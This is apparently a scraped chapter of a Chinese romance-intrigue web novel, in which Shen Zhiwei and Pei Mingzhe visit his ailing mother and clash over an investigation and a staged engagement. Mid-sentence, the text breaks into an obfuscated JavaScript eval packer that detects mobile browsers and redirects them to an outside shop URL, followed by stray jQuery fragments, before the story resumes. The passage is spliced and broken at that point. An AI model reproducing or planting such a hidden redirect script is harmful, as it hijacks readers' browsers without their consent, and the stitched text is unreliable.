36. 知微,你从不欠我什么

作品:《我的夫人总在和我互相算计

    裴明哲取出火折子,微弱的火光照亮了长长的甬道,墙壁上方原来安置了火把,想来也是提前准备好的。


    出了密道之后,沈知微才发现原来出口就在京城护城河的下游位置,正好在荒郊野外,可偏偏不远处的小凉亭还系着一匹马。


    沈知微啧啧称叹:“就这么把马放在这儿,你还挺放心的,要是被人拿走了,那咱们岂不是要走到明月庄去?”


    “不会,往东走一盏茶时间就有农家,可以偷一匹马急用。”


    “偷?!”


    看着裴明哲脸部红心不跳的说出想要偷马,沈知微真是被震惊到了。堂堂朝廷命官居然明目张胆地偷马,而且还是农户家里的,人言否?


    许是她眼中有深深的谴责,裴明哲开口解释了一句:“放心,会还回去的。”


    “……”


    结束这个对话,看了看这一匹马,又看了看裴明哲:“为什么不准备两匹马?”


    “扎眼。”


    四目相对,面面相觑,最后就是共乘一骑来到了明月庄,忠伯早早便等在了门外,恭敬的迎上来,丝毫没觉得他们骑着一匹马前来有何不妥之处。这样坦荡荡的姿态冲淡了沈知微心里的不自在,她赶紧上前询问秦流月的身体状况:“夫人怎么样了?”


    “夫人已经醒了,知道大人和姑娘要来就在房内等着呢,还未入睡。”


    听了忠伯的话,沈知微皱起眉头,脚步更快了一些。现在已经入冬了,京城的冬天寒意入骨,即使是屋内有炭火也会有明显的寒意,更别提秦流月的身体亏损。深夜寒气更重了,肯定很难受的。


    她想了想,还是回头让忠伯准备了一些驱寒的姜汤,准备让秦流月喝一碗再入睡。


    裴明哲和沈知微进入秦流月的房间,见她还在看着沈太医留下的信笺和文书,两个人脸色都不太好。其实对于秦流月,他们是有统一的共识的。那就是她好不容易活下来,就不要被这些俗事所累,只要每日安稳度日,顺遂安康即可。


    查明真相,报仇雪恨,这一切都和她没有关系。


    “娘亲,这些事情交给我们好吗?”裴明哲轻轻将秦流月手中的信笺拿过来放下,将人搀扶起来,送到床边,“您好好的休息,好好生活,一切有我和知微。”


    秦流月一顿,笑着应了下来,但沈知微和裴明哲都知道,她肯定是要阳奉阴违的。


    对此,裴明哲还想再劝,可沈知微却对着他隐晦的摇了摇头。给他去除身上的毒的时候,她不也一样是瞒着所有人将毒过到了自己身上吗?对于想要拼命给重要的人帮上忙的心思,她是很理解的,而且别人也劝不了。


    沈知微见裴明哲沉默下来,不再劝告,也只能叹着气,伸手给秦流月把脉。好在虽然脉象比较弱,可并不会危及性命,可即使如此,她也不敢轻忽大意。毕竟是有前车之鉴的,先帝和先太子不都是突然身体急转直下的吗?


    她真的不敢冒险去赌了,想了想,还是决定为秦流月改善一下药方,在增加一些滋补身体的药膳,还要求秦流月每日早起之后都要跟着护卫打一套简单的拳法。食补再加上锻炼,之后再根据身体状况一点一点改进药方,这样应该会更加稳妥一些。


    秦流月虽然不明真相,可到底也是多年在宫中当差的,心思细腻,自然能够猜到些许。更何况,裴明哲之前和她说只有十几日好活,后来又说沈知微找到了新的医治方法,可以改善她的身体情况,好好调养便会无碍。


    可身体是自己的,急转而下的身体状况已经能说明问题了。


    她笑着安慰裴明哲和沈知微:“明日子安不用上朝,都这么晚了,不如就宿在明月庄,都早点休息,明日陪我一起吃早饭吧。”


    对此,两人自然是欣然同意。


    哄睡了秦流月,沈知微却有些睡不着,在裴明哲将她送回房间后,忍不住出声喊住他:“大人,我想去一趟安和县。”


    “叫名字。”


    裴明哲答非所问,沈知微楞了一下,也觉得每次都叫大人不太合适,还不如在外人面前演戏的时候叫表哥来的亲近。所以也不矫情,从善如流的喊名字。


    “明……”


    喊不出来……


    沈知微眨巴了一下眼睛,硬着头皮开口:“那个,要不就叫表哥吧,这样比较亲近。”


    裴明哲幽深的眼睛一暗,颔首同意:“你之前去安和县的时候虽然易容改貌,可到底是来外人,肯定会被王德全的人怀疑的。再次以外来者身份过去,估计刚踏进一步就被直接抓了。”


    “这么明目张胆?”沈知微皱眉。


    “天高皇帝远。”


    “但之前我让暗卫去查探过,王德全并未因为伯母被救走而放弃宅邸的监视,反而守卫更加森严了。所以定是还有我们尚未察觉到的秘密,我认为很有必要再去一次。”


    裴明哲一顿,轻轻摇了摇头:“我已经派暗卫去查探了。”


    “可即使暗卫也不知道什么东西是对我们有用的,你我必须有一个人亲自过去才行。”


    的确如此,暗卫本事再大,也只能听命行事,根本就没有办法跳出命令之外自行行动。他们对安和县的情况一无所知,暗卫就算探查也只能无功而返。


    只是,他真的不愿意沈知微身陷险地。


    沈知微想的是不入虎穴焉得虎子,但他想的却是宁愿无所得也不要有所失。


    因此,裴明哲依然摇头拒绝。之后无论沈知微如何劝说,他均是抿紧唇,死活不松口,两个人的气氛僵硬到极点,甚至延续到了第二日陪同秦流月吃早饭的时候。


    到底是长辈,沈知微和裴明哲都有意收敛,可显然效果不佳。两个人有意无意的回避,还是让秦流月察觉一二了。


    她眼珠一转,心知两个孩子在彼此心目中的地位都是非常重的,也就肆无忌惮的催起婚来了:“虽然在名义上,皇上要求子安守孝三年,可我这身子一日不如一日,真想看到我儿成亲生子啊。”


    沈知微握住筷子的手一僵,吃到嘴里的小笼包都不香了。裴明哲一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328452|196648||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    顿,不赞同的看了秦流月一眼。两个人有婚约的事情,当今世上也只有秦流月和裴明哲知道,之前裴明哲已经表明态度,决不允许用那亲事要求沈知微嫁给他。


    但秦流月却被自家儿子的小眼神视而不见,对着沈知微一顿旁敲侧击:“知微啊,要不我给子安找些朝中贵女的画像,你帮着伯母一起挑选一下。哎呀,不行,现在明面上你才是子安的未婚妻,子安要是和其他人提亲也是不行。那算了,等你们的事儿办完,我再考虑他的婚事。”


    这一番夹枪带棒、委曲求全、推波助澜的话语简直就差没有直接开口逼迫沈知微出嫁了,裴明哲眼神一沉:“母亲!”


    秦流月耸了耸肩,端起小米粥喝了一口,慢条斯理地吃着凉菜,好像无事发生一样,丝毫不理会信口胡说让两个小辈那叫一个心潮澎湃。


    裴明哲无奈叹气,看了一眼陷入沉思的沈知微。虽然她看似淡定自若地吃着早饭,可每一个动作都透露着僵硬,眼神有些呆滞,显然是正在纠结。


    其实她的心思并不难猜。


    原本沈知微就因为自己的医治不够严谨,觉得愧对秦流月,现在她还占着明面上裴大人的未婚妻的身份,这也就意味着尘埃落定之前,裴明哲只能和她将就着演一对假夫妻,成亲生子更是遥遥无期。如果不是要给她一个明面上的身份,那么裴明哲就算是一心想着查探真相,也不会妨碍他开枝散叶、绵延子嗣。


    这么一想,沈知微就觉得更加愧疚,害了人家母亲不说,现在还害得人家儿子没有办法成亲生子。不孝有三,无后为大,她其实很能理解秦流月急着抱孙子的心思。


    “与你无关。”裴明哲冷淡低沉的声音强而有力的传了过来,“让你假扮秦雨嫣的是我,假装有婚约在身的也是我,一心想着探寻真相不想成家的也是我。如果真要说谁拖累了谁,那也一定是我拖累了知微,是我强夺了你的自由。”


    这一番话掷地有声,虽语气平淡却震撼了在场的每一个人。就连一直木着一张脸,除了伺候和执行命令之外什么都不表露的忠伯也忍不住连连侧目。秦流月倒是很淡定,只是眼中的揶揄笑意更是明显,还有意无意的瞄着沈知微和裴明哲。


    其实,裴明哲吃早饭的动作并未停歇,就像是随意说出的话语一样,连头都没有抬一下。可沈知微却觉得脸上一阵发烫,心里也是暖洋洋的,自从转移毒素到自己身上之后总是冰冷的手脚也开始升温了,这种感觉真是陌生。


    她轻咳一声,低头喝粥,一句话也不肯说了。


    餐桌上只有小声吞咽的进食声音,可氛围已经没有那么僵硬了,相反,三人之间还流露着淡淡的温情和温馨。


    用完早饭,裴明哲和沈知微就赶早往清风馆赶,毕竟做戏要做全套才行。


    沈知微一路上欲言又止,想说话又不肯说话的模样让裴明哲也没办法视而不见,只能叹着气开口:“是真的。”


    “啊?”


    “刚刚每一句都是我的真心话,知微,你从不欠我什么。”